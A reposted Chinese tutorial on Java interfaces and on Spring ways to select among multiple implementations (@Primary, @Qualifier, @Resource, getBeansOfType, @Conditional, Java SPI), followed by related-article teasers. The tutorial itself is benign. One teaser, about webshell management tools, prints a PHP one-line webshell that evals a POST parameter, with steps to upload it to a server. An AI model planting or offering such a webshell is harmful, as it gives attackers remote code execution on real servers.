接口多实现

news2024/11/18 5:36:04

一、什么是接口
接口是抽象类的延伸,可以将它看作是纯粹的对象类

二、接口模式的特性
(1)接口不可以被实例化。

(2)实现类必须实现接口的所有方法(类似于抽象类和抽象方法)。

(3)实现类可以实现多个接口,不同接口之间使用“,”隔开。

(4)接口中的变量都是静态常量,即使用static和final修饰的最终变量(一般不在接口中声明变量)。

三、接口模式的优势
(1)更加抽象,更加面向对象

(2)提高编程的灵活性(提高了代码的可扩展性)

(3)实现高内聚、低耦合

(4)提高可维护性,降低系统维护成本

三、接口的默认方法

public interface DefaultFuncInter {
    int getInt();
    default String getString(){
        return "Default String";
    }
}

默认方法的优势

默认方法主要优势是提供了一种扩展接口的方法,而不破坏现有代码。如果一个已经投入使用的接口需要扩展一个新的方法,在JDK8以前,我们必须再该接口的所有实现类中都添加该方法的实现,否则编译会出错。如果实现类数量很少且我们有修改的权限,可能工作量会少,但是如果实现类很多或者我们没有修改代码的权限,这样的话就很难解决了。而默认方法提供了一个实现,当没有显式提供时就默认采用这个实现,这样新添加的接口就不会破坏现有的代码。

默认方法另一个优势是该方法是可选的,子类可以根据不同的需求而且经override或者采用默认实现。例如我们定义一个集合几口,其中有增、删、改等操作,如果我们的实现类90%都是以数组保存数据,那么我们可以定义针对这些方法给出默认实现,而对于其他非数组集合或者有其他类似业务,可以选择性复写接口中默认方法。(由于接口不允许有成员变量,所以本示例旨在说明默认方法的优势,并不具有生产可能性)

四、接口的静态方法

java8中为接口新增了一项功能:定义一个或者更多个静态方法。类似于类中的静态方法,接口定义的静态方法可以独立于任何对象调用。所以,在调用静态方法时,不需要实现接口,也不需要接口的实例,也就是说和调用类的静态方法的方式类似。语法如:接口名字.静态方法名
interface A  
{  
    static String getName()  
    {  
        return "接口A。。。";  
    }  
}

public class Test implements A  
{  
    public static void main(String[] args)  
    {  
        System.out.println(A.getName());  
    }   
}

注意:实现接口的类或者子接口不会继承接口中的静态方法。static不能和default同时使用。在java8中很多接口中都增加了静态方法

五、接口的实现
定义接口:

public interface IPrint {

    void print(String msg);
}

实现类1:

@Component
public class ConsolePrint implements IPrint {

    @Override
    public void print(String msg) {
        System.out.println("console print: " + msg);
    }

}

实现类2:

@Component
public class LogPrint implements IPrint {

    @Override
    public void print(String msg) {
        System.out.println("logPrint print: " + msg);
    }
}

(1)一个接口只有一个实现类
如果接口只有一个实现,这里的logPrint可以用任何字符串替代

@Autowired
    private IPrint logPrint / abc;

(2)一个接口多个实现类,如何指定特定实现类进行调用

方法一: 接口有多个实现类,使用的时候,要表明具体使用的是哪一个实现,也就是使用具体实现类的名字

@RestController
@RequestMapping("/api/{edition}/page")
public class MyPageHelperController {

    @Autowired
    private IPrint logPrint / consolePrint; //这里的logPrint / consolePrint的名字就是实现类的bean的名字,所以可以正确引入

    @GetMapping("/myPage")
    @ResponseBody
    public Map<Object, Object> expenseStatement(HttpServletRequest request, HttpServletResponse response)  {

        logPrint.print("zjg");

        return new ConcurrentHashMap<>();
    }
}

方法二: 直接使用实现类进行注入

@RestController
@RequestMapping("/api/{edition}/page")
public class MyPageHelperController {

    @Autowired
    private ConsolePrint abc; //这里使用实现类进行注入
    //@Autowired
    //private LogPrint abc;
    

    @GetMapping("/myPage")
    @ResponseBody
    public Map<Object, Object> expenseStatement(HttpServletRequest request, HttpServletResponse response)  {

        abc.print("zjg");

        return new ConcurrentHashMap<>();
    }
}

方法三: 指明实现类的优先级

在写实现类的时候事先指明实现类的优先级,注入的时候就会使用优先级高的实现类。在调用的类中注入接口,默认使用的是Primary 标注的实现类的方法
@Service("dog")
@Primary
public class Dog implements Animal {
	.......
}

方法四: 通过@Autowride和@Qualifier两个注解配合使用

@Autowired
@Qualifier("dog")
private Animal animal;    //正常启动

方法五: 使用@Resource注解,默认类名区分

@Resource(name = "dog")
private Animal animal;     //正常启动

方法六: 使用@Resource注解,根据@Service区分

@Resource(name = "dogImpl")
private Animal animal;     //正常启动

方法七: 直接new 一个实例


private Animal animal = new Dog();     //正常启动

(3)接口实现的动态调用
方法一:ApplicationContextAware + getBeansOfType

通过spring 的ApplicationContext(应用上下文)的getBeansOfType 方法传入接口类型,一次性获取所有实现类
<T> Map<String, T> getBeansOfType(Class<T> var1) throws BeansException;

定义了一个接口,来对外提供服务,这个接口下的方法不能随便改变,而接口有一系列实现,且实现还在不断添加,如何在传入外部不同的条件下,实现实时更换接口的实现类

package com.util;
 
import com.service.TestService;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.annotation.Configurable;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.stereotype.Component;
 
import java.util.HashMap;
import java.util.Map;
 
@Component
public class TestServiceFactory implements ApplicationContextAware {
 
    private static Map<TypeEnum, TestService> testServiceMap;
 
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        Map<String,TestService> map = applicationContext.getBeansOfType(TestService.class);
        testServiceMap = new HashMap<>();
        map.forEach((key,value) -> testServiceMap.put(value.getCode(),value));
    }
 
    public TestService getTestService(TypeEnum typeEnum) {
        return testServiceMap.get(typeEnum);
    }
}

或者如下方式也可以

@Component
public class OrderInfoServiceImpl implements ApplicationContextAware {

    private ApplicationContext applicationContext;

    public void query(String username){
        OrderInfoDao dao = null;
        if("A".equals(username)){
            dao = (OrderInfoDao) applicationContext.getBean("orderInfoDaoAImpl");
        }
        else if("B".equals(username)){
            dao = (OrderInfoDao) applicationContext.getBean("orderInfoDaoBImpl");
        }
        dao.queryOrderList();
    }

    /**
     * ApplicationContextAware接口的实现类,可以拿到上下文
     * @param applicationContext
     * @throws BeansException
     */
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        this.applicationContext = applicationContext;
    }
}

怎么根据外部条件实现获得对应的实现类?

可以在接口中加一个getCode方法,实现类实现这个方法,然后返回一个定义的枚举类型,然后将getBeansOfType获得map进行转换

package com.util;
 
public enum  TypeEnum {
    impl1,
    impl2
}

接口

package com.service;
 
import com.util.TypeEnum;
import org.springframework.stereotype.Service;
 
@Service
public interface TestService {
 
    public TypeEnum getCode();
 
    public String test();
 
}

实现类1

package com.service.impl;
 
import com.service.TestService;
import com.util.TypeEnum;
import org.springframework.stereotype.Service;
 
@Service
public class TestServiceImpl1 implements TestService {
    @Override
    public TypeEnum getCode() {
        return TypeEnum.impl1;
    }
 
    @Override
    public String test() {
        return this.toString();
    }
}

实现类2

package com.service.impl;
 
import com.service.TestService;
import com.util.TypeEnum;
import org.springframework.context.annotation.Primary;
import org.springframework.stereotype.Service;
 
@Service
public class TestServiceImpl2  implements TestService {
    @Override
    public TypeEnum getCode() {
        return TypeEnum.impl2;
    }
 
    @Override
    public String test() {
        return this.toString();
    }
}

使用

package com.controller;
 
import com.util.TestServiceFactory;
import com.util.TypeEnum;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import com.service.TestService;
 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
 
@Controller
@RequestMapping("test")
public class TestController {
 
    @Autowired
    TestServiceFactory testServiceFactory;
 
    private TestService testService;
 
    @ResponseBody
    @RequestMapping("test")
        public String test(HttpServletRequest request, HttpServletResponse response){
        String type = request.getParameter("type");
        testService = getTestService(type);
        return testService.test();
    }
 
    public TestService getTestService(String type) {
        TypeEnum typeEnum = null;
        if(type.equals("1")) typeEnum = TypeEnum.impl1;
        if(type.equals("2")) typeEnum = TypeEnum.impl2;
        return testServiceFactory.getTestService(typeEnum);
    }
 
}

方法二:使用@Autowired注入Map实现

@Component
public class OrderInfoServiceImpl {

    /**
     * 用这个方式Spring会在初始化时,自动把OrderInfoDao接口的实现类,全放到Map里
     */
    @Autowired
    private Map<String, OrderInfoDao> map;

    public void query(String username){
        // 拼接Dao实现类的名称
        String daoName = "orderInfoDao" + username + "Impl";
        OrderInfoDao dao = map.get(daoName);
        if(dao != null){
            dao.queryOrderList();
        }
    }

}

方法三:使用@Conditional注解实现

@Conditional是Spring4新提供的注解,它的作用是按照一定的条件进行判断,满足条件给容器注册bean。

* 可以作为类级别的注解直接或者间接的与@Component相关联,包括@Configuration类;
* 可以作为元注解,用于自动编写构造性注解;
* 作为方法级别的注解,作用在任何@Bean方法上。

* 一个方法只能注入一个bean实例,所以@Conditional标注在方法上只能控制一个bean实例是否注入。

* 一个类中可以注入很多实例,@Conditional标注在类上就决定了一批bean是否注入。

如下示例:
接口:

package com.cj.interfaces;

public interface ITestServiceConditional {
    void test();
}

实现1:

package com.cj.interfaces;

import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.context.annotation.Configuration;
import org.springframework.stereotype.Service;

/**
 * 使用配置文件控制注入:
 * 我们需要在实现类上添加配置文件注解,使用配置文件控制该实现类是否生效
 */
@Service
@Configuration
@ConditionalOnProperty(prefix = "demo.test.service",name = "impl",havingValue = "one")
public class TestServiceImpl4 implements ITestServiceConditional {
    @Override
    public void test() {
        System.out.println("接口4实现类 ...");
    }
}

实现2:

package com.cj.interfaces;

import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.context.annotation.Configuration;
import org.springframework.stereotype.Service;

@Service
@Configuration
@ConditionalOnProperty(prefix = "demo.test.service",name = "impl",havingValue = "two")
public class TestServiceImpl5 implements ITestServiceConditional {
    @Override
    public void test() {
        System.out.println("接口5实现类 ...");
    }
}

配置文件:
application.properties

demo.test.service.impl=one

测试:

    @Autowired
    ITestServiceConditional testServiceConditional;

    @Test
   public void test1() {
        testServiceConditional.test();
    }

@Conditional扩展注解:
@ConditionalOnBean 当容器中至少存在一个指定name或class的Bean时,进行实例化 OnBeanCondition @ConditionalOnBean(CacheManager.class)
@ConditionalOnMissingBean 当容器中指定name或class的Bean都不存在时,进行实例化 OnBeanCondition @ConditionalOnMissingBean(CacheManager.class)
@ConditionalOnClass 当类路径下至少存在一个指定的class时,进行实例化 OnClassCondition @ConditionalOnClass({Aspect.class, Advice.class })
@ConditionalOnMissingClass 当容器中指定class都不存在时,进行实例化 OnClassCondition @ConditionalOnMissingClass(“org.thymeleaf.templatemode.TemplateMode”)
@ConditionalOnSingleCandidate 当指定的Bean在容器中只有一个,或者有多个但是指定了首选的Bean时触发实例化 OnBeanCondition @ConditionalOnSingleCandidate(DataSource.class)
@ConditionalOnProperty 当指定的属性有指定的值时进行实例化 OnPropertyCondition @ConditionalOnProperty(prefix = “spring.aop”, name = “auto”)
@ConditionalOnResource 当类路径下有指定的资源时触发实例化 OnResourceCondition @ConditionalOnResource(resources = “classpath:META-INF/build.properties”)
@ConditionalOnExpression 基于SpEL表达式的条件判断,当为true的时候进行实例化 OnExpressionCondition @ConditionalOnExpression(“true”)
@ConditionalOnWebApplication 当项目是一个Web项目时进行实例化 OnWebApplicationCondition @ConditionalOnWebApplication
@ConditionalOnNotWebApplication 当项目不是一个Web项目时进行实例化 OnWebApplicationCondition @ConditionalOnNotWebApplication
@ConditionalOnJava 当JVM版本为指定的版本范围时触发实例化 OnJavaCondition @ConditionalOnJava(ConditionalOnJava.JavaVersion.EIGHT)
@ConditionalOnJndi 在JNDI存在的条件下触发实例化 OnJndiCondition @ConditionalOnJndi({ “java:comp/TransactionManager”})

方法三:使用@Conditional注解 + Condition接口实现

自定义Condition条件

/**
 * 自定义Condition条件
 */
public class WindowsCondition implements Condition {
 
    //这里的逻辑根据实际情况进行处理
    /**
     * @param conditionContext:判断条件能使用的上下文环境
     * @param annotatedTypeMetadata:注解所在位置的注释信息
     * */
    @Override
    public boolean matches(ConditionContext conditionContext, AnnotatedTypeMetadata annotatedTypeMetadata) {
        //获取ioc使用的beanFactory
        ConfigurableListableBeanFactory beanFactory = conditionContext.getBeanFactory();
        //获取类加载器
        ClassLoader classLoader = conditionContext.getClassLoader();
        //获取当前环境信息
        Environment environment = conditionContext.getEnvironment();
        //获取bean定义的注册类
        BeanDefinitionRegistry registry = conditionContext.getRegistry();
 
        //获得当前系统名
        String property = environment.getProperty("os.name");
        //包含Windows则说明是windows系统,返回true
        if (property.contains("Windows")){
            return true;
        }
        return false;
    }
}

示例1:注解标注在方法上

@Configuration
public class BeanConfig {
 
    //只有一个类时,大括号可以省略
    //如果WindowsCondition的实现方法返回true,则注入这个bean    
    @Conditional({WindowsCondition.class})
    @Bean(name = "bill")
    public Person person1(){
        return new Person("Bill Gates",62);
    }
 
    //如果LinuxCondition的实现方法返回true,则注入这个bean
    @Conditional({LinuxCondition.class})
    @Bean("linus")
    public Person person2(){
        return new Person("Linus",48);
    }
}

示例2:注解标注在类上
将BeanConfig改写,这时,如果WindowsCondition返回true,则两个Person实例将被注入(注意:上一个测试将os.name改为linux,这是我将把这个参数去掉)

@Conditional({WindowsCondition.class})
@Configuration
public class BeanConfig {
 
    @Bean(name = "bill")
    public Person person1(){
        return new Person("Bill Gates",62);
    }
 
    @Bean("linus")
    public Person person2(){
        return new Person("Linus",48);
    }
}
多个条件类
 @Conditional注解传入的是一个Class数组,存在多种条件类的情况。
 
@Conditional({WindowsCondition.class,ObstinateCondition.class})
@Configuration
public class BeanConfig {
 
    @Bean(name = "bill")
    public Person person1(){
        return new Person("Bill Gates",62);
    }
 
    @Bean("linus")
    public Person person2(){
        return new Person("Linus",48);
    }
}

结论:
第一个条件类实现的方法返回true,第二个返回false,则结果false,不注入进容器。

第一个条件类实现的方法返回true,第二个返回true,则结果true,注入进容器中。

(4)SPI机制

服务提供者接口(Service Provider Interface,简写为SPI)是JDK内置的一种服务提供发现机制。可以用来加载框架扩展和替换组件,主要是被框架的开发人员使用

Java中SPI机制主要思想是将装配的控制权移到程序之外,是“基于接口的编程+策略模式+配置文件”组合实现的动态加载机制,有点类似Spring的IOC机制。在模块化设计中这个机制尤其重要,其核心思想就是解耦。
在这里插入图片描述
SPI的接口是Java核心库的一部分,是由引导类加载器(Bootstrap Classloader)来加载的。SPI的实现类是由系统类加载器(System ClassLoader)来加载的。

应用场景:
Java提供了很多SPI,允许第三方为这些接口提供实现。

常见的SPI使用场景:

  • JDBC加载不同类型的数据库驱动。
  • 日志门面接口实现类加载,SLF4J加载不同提供商的日志实现类。
  • Spring中大量使用了SPI。可以在spring.factories中加上我们自定义的自动配置类,事件监听器或初始化器等。
    3.1 对servlet3.0规范。3.2 对ServletContainerInitializer的实现。
  • Dubbo里面有很多个组件,每个组件在框架中都是以接口的形成抽象出来。具体的实现又分很多种,在程序执行时根据用户的配置来按需取接口的实现。如果Dubbo的某个内置实现不符合业务需求,那么只需要利用其SPI机制将新的业务实现替换掉Dubbo的实现即可。

SPI具体约定:
Java SPI的具体约定:当服务的提供者,提供了服务接口的某种实现之后,在jar包的META-INF/services/目录里同时创建一个以服务接口命名的文件。该文件里就是实现该服务接口的具体实现类。而当外部程序装配这个模块的时候,就能通过该jar包META-INF/services/里的配置文件找到具体的实现类名,并装载实例化,完成模块的注入。基于这样一个约定就能实现服务接口与实现的解耦。

Java SPI机制的缺点:
不能按需加载,需要遍历所有的实现,并实例化,然后在循环中才能找到我们需要的实现。如果不想用某些实现类,或者某些类实例化很耗时,它也被载入并实例化了,这就造成了浪费。
多个并发多线程使用ServiceLoader类的实例是不安全的。
扩展如果依赖其他的扩展,做不到自动注入和装配。
不提供类似于Spring的IOC和AOP功能。
扩展很难和其他的框架集成,比如扩展里面依赖了一个Spring bean,原生的Java SPI不支持。

示例:
(1)定义需要的接口,然后编码接口的实现类。
在这里插入图片描述
实现类1:
在这里插入图片描述
实现类2:
在这里插入图片描述
配置:
增加配置文件
在项目的\src\main\resources\下创建\META-INF\services目录,并增加一个配置文件,这个文件必须以接口的全限定类名保持一致,例如:
com.xiaohui.spi.HelloService。然后在配置文件中写入具体实现类的全限定类名,如有多个则换行写入。
在这里插入图片描述
执行:
在这里插入图片描述
结果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/72740.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于百度飞桨PaddleOCR的图片文字识别

PaddleOCR项目源码&#xff1a;https://github.com/PaddlePaddle/PaddleOCR 飞桨开源文字识别模型套件PaddleOCR&#xff0c;目标是打造丰富、领先、实用的文本识别模型/工具库。最新开源的超轻量PP-OCRv3模型大小仅为16.2M。同时支持中英文识别&#xff1b;支持倾斜、竖排等多…

[附源码]Python计算机毕业设计Django-中国传统手工艺销售平台

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

相似度衡量:苏剑林博客-3

本文主要是对苏剑林老师之前的博客中&#xff0c;对相似度相关的内容稍作整理。 Sentence-bert 是利用bert对两个句子判断相似度。 左图是训练期间的相似度计算方法&#xff0c;右图是推来过程中的相似度计算方法。 训练过程中使用时dense-linear方法&#xff0c;推理过程中…

vue 实现通过字符串关键字符动态渲染 input 输入框

vue 实现通过字符串关键字符动态渲染 input 输入框 今天做一个简单的demo&#xff0c;就是有一个字符串&#xff0c;字符串里面有标识符&#xff0c;前端检测到标识符之后&#xff0c;需要将这个标识符转换成一个 input 输入框并且进行数据输入和绑定功能。 问题描述 就比如现…

SOLIDWORKS 2023新功能揭秘!SOLIDWORKS Simulation 2023版本

SOLIDWORKS 2023新版本已经与大家见面&#xff0c;今天众联亿诚与大家分享SOLIDWORKS Simulation 2023新功能&#xff0c;让我们先一起来看看视频—— 点击观看SOLIDWORKS Simulation 2023新功能 一直以来&#xff0c;SOLIDWORKS Simulation以其易学易用和与设计深度集成深受广…

Docker自定义jdk镜像与上传阿里云

目录 自定义jdk镜像 制作jdk8 :v1.0镜像 alpine制作jdk镜像 alpine简介 基于Alpine制作jdk镜像 Alpine制作jre镜像 Docker镜像上传至阿里云 由于官方没有提供jdk&#xff0c;所以需要自定义jdk来配置java环境&#xff0c;以便于后期部署项目 自定义jdk镜像 制作jdk8 :v1.0…

【JavaWeb】第八章 Servlet

文章目录1、初识Servlet2、Servlet的HelloWorld3、Servlet的生命周期4、Servlet-请求的分发处理5、通过集成HttpServlet类来实现Servlet程序1、初识Servlet Servlet是JavaEE规范之一。规范就是接口。 Servlet是JavaWeb三大组件之一&#xff0c;三大组件分别是Servlet程序、Fi…

JAVA SCRIPT设计模式--行为型--设计模式之Iterator迭代器模式(16)

JAVA SCRIPT设计模式是本人根据GOF的设计模式写的博客记录。使用JAVA SCRIPT语言来实现主体功能&#xff0c;所以不可能像C&#xff0c;JAVA等面向对象语言一样严谨&#xff0c;大部分程序都附上了JAVA SCRIPT代码&#xff0c;代码只是实现了设计模式的主体功能&#xff0c;不代…

[附源码]Python计算机毕业设计Django在线影院系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;我…

[附源码]计算机毕业设计JAVA中小学微课学习系统

[附源码]计算机毕业设计JAVA中小学微课学习系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM myba…

JVM相关学习

一、了解JVM JVM就是Java虚拟机。好处&#xff1a; 一次编写&#xff0c;到处运行&#xff1b;自动内存管理&#xff0c;垃圾回收功能&#xff1b;数组下标越界越界检查&#xff1b;多态。 二、学习JVM 1.程序计数器&#xff08;寄存器&#xff09;&#xff1a; 作用&#x…

成为大数据工程师需要具备什么能力?发展前景好么

数据工程工作存在于各个行业&#xff0c;在银行业、医疗保健业、大型科技企业、初创企业和其他行业找到工作机会。许多职位描述要求数据工程师、拥有数学或工程学位&#xff0c;但如果有合适的经验学位往往没那么重要。 **那么如何获得数据开发相关岗位的工作经验&#xff1f;…

Three.js一学就会系列:03 炫酷3D划线

系列文章目录 Three.js一学就会系列&#xff1a;01 第一个3D网站 Three.js一学就会系列&#xff1a;02 画线 文章目录系列文章目录前言一、省略部分二、使用方法创建一个dom元素创建初始化方法线条动起来效果总结前言 最近开始入坑前端3D建站&#xff0c;跟大家一起慢慢深入t…

磨金石教育摄影技能干货分享|曾毅——尘封的故土,难忘的乡愁

乡愁是远离家乡的游子们&#xff0c;内心对故土美好的执念。我曾经在新疆边境县待过一年&#xff0c;异域的风情的新奇&#xff0c;充满了我的眼睛。我一度觉得这里真不错&#xff0c;在这待一辈子也挺好。 后来有一次去了当地一个汉族村&#xff0c;刚进村子就恍然有一种回家…

C# SuperSocket 手把手教你入门 傻瓜教程---7(自定义SuperSocket内置的命令行协议)

C# SuperSocket 手把手教你入门 傻瓜教程系列教程 C# SuperSocket 手把手教你入门 傻瓜教程---1&#xff08;服务器单向接收客户端发送数据&#xff09; C# SuperSocket 手把手教你入门 傻瓜教程---2&#xff08;服务器和客户端双向通信&#xff09; C# SuperSocket 手把手教…

黑马程序员14套经典IT教程+面试宝典

很多同学对互联网比较感兴趣 &#xff0c;奈何苦恼不知道如何入门。今天免费给大家分享一波&#xff0c;黑马程序员14套经典IT教程程序员面试宝典&#xff01;涉及Java、前端、Python、大数据、软件测试、UI设计、新媒体短视频等。从厌学到学嗨&#xff0c;你只差一套黑马教程&…

ADS1120 备忘

ADS1120 是一个小型、低功耗、16-bit、ΔΣ 模数转换器&#xff08;ADC&#xff09;&#xff1a; 内置 PGA&#xff08;1~128&#xff09;内置参考基准&#xff08;2.048V&#xff09;内置温度传感器内置 2 个已配对的可编程电流源SPI 通讯接口&#xff0c;使用 模式 1 &#…

BHAR事件研究方法stata代码和案例数据

BHAR事件研究方法stata代码和案例数据 1、方法说明&#xff1a; BHAR (Buy and Hold Abnormal Return)&#xff0c;即购入 -持有异常收益法。 无论是短期事件研究,还是长期事件研究,都包含以下六大步骤&#xff0c;即定义事件以及事件研究窗口、选择研究样本、选择望收益模型…

web安全之Webshell管理工具

目录 漏洞原理 工具 中国蚁剑(antsword) weevely(kali) godzilla Behinder 漏洞原理 上传PHP一句话木马到服务器 <?phpheader("Content-type:text/html;charsetgb1232");echo "<pre>";eval($_POST[coleak]); ?> 找到上传路径后通过…

PTE考试写作教程

PTE考试写作教程 由经验丰富的母语教师完成准备教程&#xff0c;以在 PTE 考试的写作部分取得成功 课程英文名&#xff1a;PTE Academic Exam Preparation Writing Mastery (Achieve 79) 此视频教程共10.0小时&#xff0c;中英双语字幕&#xff0c;画质清晰无水印&#xff0…